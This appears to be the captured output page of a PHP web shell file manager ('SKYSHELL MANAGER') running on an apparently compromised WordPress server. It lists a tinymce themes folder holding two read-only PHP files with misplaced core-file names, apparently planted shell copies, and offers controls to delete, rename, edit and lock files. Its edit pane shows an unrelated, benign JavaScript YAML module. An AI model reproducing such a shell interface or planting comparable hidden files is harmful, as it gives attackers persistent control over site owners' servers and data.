📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
cstage
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
ms-files.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: function.js
const {stringifyString} = require('yaml/util') module.exports = { identify: value => typeof value === 'function', tag: '!function', resolve: (doc, cst) => { const src = cst.strValue.split('\n') const name = JSON.parse(src.shift()) const code = src.join('\n') const f = function () {} Object.defineProperty(f, 'name', { value: name, enumerable: false }) f.toString = () => code return f }, options: { defaultType: 'BLOCK_LITERAL', lineWidth: 76 }, stringify ({ comment, type, value }, ctx, onComment, onChompKeep) { value = JSON.stringify(value.name) + '\n' + value.toString() // better to just always put functions on a new line. type = type || module.exports.options.defaultType return stringifyString({ comment, type, value }, ctx, onComment, onChompKeep) }, default: false, }
Save